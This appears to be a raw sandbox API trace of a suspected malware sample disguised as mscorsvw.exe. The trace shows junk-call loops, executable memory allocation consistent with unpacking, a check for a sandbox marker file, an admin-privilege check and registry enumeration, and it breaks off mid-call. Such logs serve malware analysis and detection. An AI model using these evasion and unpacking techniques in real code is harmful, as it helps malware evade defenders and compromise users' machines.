IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.554] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.554] IsCharLowerA (ch=27) returned 0 [0244.554] CountClipboardFormats () returned 0 [0244.554] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.555] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.555] IsCharLowerA (ch=28) returned 0 [0244.555] CountClipboardFormats () returned 0 [0244.555] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.555] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.555] IsCharLowerA (ch=29) returned 0 [0244.555] CountClipboardFormats () returned 0 [0244.555] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.555] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.555] IsCharLowerA (ch=30) returned 0 [0244.555] CountClipboardFormats () returned 0 [0244.555] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.555] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.555] IsCharLowerA (ch=31) returned 0 [0244.555] CountClipboardFormats () returned 0 [0244.555] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.556] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.556] IsCharLowerA (ch=32) returned 0 [0244.556] CountClipboardFormats () returned 0 [0244.556] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.556] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.556] IsCharLowerA (ch=1) returned 0 [0244.556] CountClipboardFormats () returned 0 [0244.556] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.556] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.556] IsCharLowerA (ch=2) returned 0 [0244.556] CountClipboardFormats () returned 0 [0244.556] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.556] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.556] IsCharLowerA (ch=3) returned 0 [0244.556] CountClipboardFormats () returned 0 [0244.556] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.556] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.556] IsCharLowerA (ch=4) returned 0 [0244.556] CountClipboardFormats () returned 0 [0244.556] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.556] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.556] IsCharLowerA (ch=5) returned 0 [0244.556] CountClipboardFormats () returned 0 [0244.556] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.556] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.556] IsCharLowerA (ch=6) returned 0 [0244.556] CountClipboardFormats () returned 0 [0244.556] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.556] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.556] IsCharLowerA (ch=7) returned 0 [0244.556] CountClipboardFormats () returned 0 [0244.556] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.556] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.556] IsCharLowerA (ch=8) returned 0 [0244.556] CountClipboardFormats () returned 0 [0244.556] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.557] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.557] IsCharLowerA (ch=9) returned 0 [0244.557] CountClipboardFormats () returned 0 [0244.557] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.557] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.557] IsCharLowerA (ch=10) returned 0 [0244.557] CountClipboardFormats () returned 0 [0244.557] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.557] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.557] IsCharLowerA (ch=11) returned 0 [0244.557] CountClipboardFormats () returned 0 [0244.557] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.557] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.557] IsCharLowerA (ch=12) returned 0 [0244.557] CountClipboardFormats () returned 0 [0244.557] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.557] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.557] IsCharLowerA (ch=13) returned 0 [0244.557] CountClipboardFormats () returned 0 [0244.557] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.557] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.557] IsCharLowerA (ch=14) returned 0 [0244.557] CountClipboardFormats () returned 0 [0244.557] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.557] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.557] IsCharLowerA (ch=15) returned 0 [0244.557] CountClipboardFormats () returned 0 [0244.557] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.557] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.557] IsCharLowerA (ch=16) returned 0 [0244.557] CountClipboardFormats () returned 0 [0244.557] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.558] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.558] IsCharLowerA (ch=17) returned 0 [0244.558] CountClipboardFormats () returned 0 [0244.558] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.558] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.558] IsCharLowerA (ch=18) returned 0 [0244.558] CountClipboardFormats () returned 0 [0244.558] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.558] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.558] IsCharLowerA (ch=19) returned 0 [0244.558] CountClipboardFormats () returned 0 [0244.558] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.558] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.558] IsCharLowerA (ch=20) returned 0 [0244.558] CountClipboardFormats () returned 0 [0244.558] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.558] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.558] IsCharLowerA (ch=21) returned 0 [0244.558] CountClipboardFormats () returned 0 [0244.558] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.558] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.558] IsCharLowerA (ch=22) returned 0 [0244.558] CountClipboardFormats () returned 0 [0244.558] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.558] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.558] IsCharLowerA (ch=23) returned 0 [0244.558] CountClipboardFormats () returned 0 [0244.558] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.558] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.558] IsCharLowerA (ch=24) returned 0 [0244.558] CountClipboardFormats () returned 0 [0244.559] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fb56, nSize=0x104 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe")) returned 0x3a [0244.560] VarCyFromUI4 (in: ulIn=0xccaf3cc, pcyOut=0x18ff08 | out: pcyOut=0x18ff08) returned 0x0 [0244.645] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fb56, nSize=0x104 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe")) returned 0x3a [0244.645] Sleep (dwMilliseconds=0x94) [0244.835] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fb30 | out: ProcedureAddress=0x18fb30*=0x77291856) returned 0x0 [0244.835] VirtualAlloc (lpAddress=0x0, dwSize=0x16100, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0245.377] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fb58 | out: ProcedureAddress=0x18fb58*=0x77291856) returned 0x0 [0245.377] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0x230000 [0245.378] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x772949d7) returned 0x0 [0245.378] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x77291222) returned 0x0 [0245.378] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x77291856) returned 0x0 [0245.378] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x7729435f) returned 0x0 [0245.378] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77280000 [0245.378] GetProcAddress (hModule=0x77280000, lpProcName="FlsFree") returned 0x7729359f [0245.378] GetProcAddress (hModule=0x77280000, lpProcName="SetUnhandledExceptionFilter") returned 0x772987c9 [0245.378] VirtualProtect (in: lpAddress=0x400000, dwSize=0x27000, flNewProtect=0x40, lpflOldProtect=0x18fc08 | out: lpflOldProtect=0x18fc08*=0x2) returned 1 [0245.388] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x240000 [0245.393] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77280000 [0245.393] GetProcAddress (hModule=0x77280000, lpProcName="CreateFileW") returned 0x77293f5c [0245.393] GetProcAddress (hModule=0x77280000, lpProcName="ExitProcess") returned 0x77297a10 [0245.393] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0247.429] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.442] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x4b0000 [0247.499] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x104) returned 0x4b07d0 [0247.499] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b08e0 [0247.499] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0968 [0247.499] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b09f0 [0247.499] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0a78 [0247.499] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0b00 [0247.500] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0b88 [0247.500] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0c10 [0247.500] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0c98 [0247.500] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0d20 [0247.500] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0da8 [0247.500] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0e30 [0247.500] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0eb8 [0247.500] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0f40 [0247.500] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0fc8 [0247.500] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b1050 [0247.500] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b10d8 [0247.500] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x400) returned 0x4b1160 [0247.500] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0xa80000 [0247.501] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa807d0 [0247.501] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa80858 [0247.501] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa808e0 [0247.501] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x184) returned 0xa80968 [0247.501] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa80af8 [0247.501] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa80b40 [0247.501] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa80b88 [0247.501] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa80bd0 [0247.501] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa80c18 [0247.501] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa80c60 [0247.501] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa80ca8 [0247.501] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa80cf0 [0247.501] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa80d38 [0247.501] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa80d80 [0247.501] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa80dc8 [0247.501] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa80e10 [0247.501] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa80e58 [0247.501] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa80ea0 [0247.501] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa80ee8 [0247.501] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa80f30 [0247.501] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f60c, nSize=0x1000 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe")) returned 0x3a [0247.502] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa80f78 [0247.502] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x2c) returned 0xa8b828 [0247.509] GetVersionExW (in: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0247.509] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18fc14 | out: Wow64Process=0x18fc14) returned 1 [0247.509] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbf0 | out: TokenHandle=0x18fbf0*=0x90) returned 1 [0247.509] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbec | out: TokenInformation=0x0, ReturnLength=0x18fbec) returned 0 [0247.509] GetLastError () returned 0x7a [0247.509] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8b860 [0247.509] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x2, TokenInformation=0xa8b860, TokenInformationLength=0x58, ReturnLength=0x18fbec | out: TokenInformation=0xa8b860, ReturnLength=0x18fbec) returned 1 [0247.509] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18fbfc, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fbf4 | out: pSid=0x18fbf4*=0x5314f8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0247.509] EqualSid (pSid1=0x5314f8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xa8b884*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0247.509] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8b860) returned 1 [0247.510] NtClose (Handle=0x90) returned 0x0 [0247.510] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8b860 [0247.511] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8b8a8 [0247.512] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x280) returned 0xa8b930 [0247.519] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0247.525] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0xa8b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0247.525] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.526] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8bc58 [0247.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0xa8bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0247.526] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8bca0 [0247.526] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bc58) returned 1 [0247.526] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bca0) returned 1 [0247.526] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.526] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0xa8b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0247.526] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.527] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8bca0 [0247.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0xa8bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0247.527] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8bc58 [0247.527] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bca0) returned 1 [0247.527] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bc58) returned 1 [0247.527] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.527] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0xa8b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0247.527] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.527] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8bc58 [0247.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0xa8bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0247.527] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8bca0 [0247.527] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bc58) returned 1 [0247.527] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bca0) returned 1 [0247.527] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.527] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0xa8b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0247.527] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.527] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8bca0 [0247.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0xa8bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0247.527] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8bc58 [0247.527] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bca0) returned 1 [0247.527] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bc58) returned 1 [0247.527] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.527] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0xa8b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0247.527] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.527] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8bc58 [0247.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0xa8bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0247.528] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8bca0 [0247.528] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bc58) returned 1 [0247.528] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bca0) returned 1 [0247.528] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.528] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x90) returned 0x0 [0247.528] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x184) returned 0xa8d040 [0247.528] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8bca0 [0247.528] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8bc58 [0247.528] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8bce8 [0247.528] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8bd30 [0247.528] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8bd78 [0247.528] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8bdc0 [0247.528] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8be08 [0247.528] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8be50 [0247.528] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8be98 [0247.528] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8bee0 [0247.528] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8bf28 [0247.528] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8bf70 [0247.528] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8bfb8 [0247.528] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c000 [0247.528] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c048 [0247.528] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c090 [0247.529] RegCloseKey (hKey=0x80000002) returned 0x0 [0247.529] RegEnumKeyW (in: hKey=0x90, dwIndex=0x0, lpName=0xa8b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0247.529] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0247.529] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0xa8c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0247.529] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, 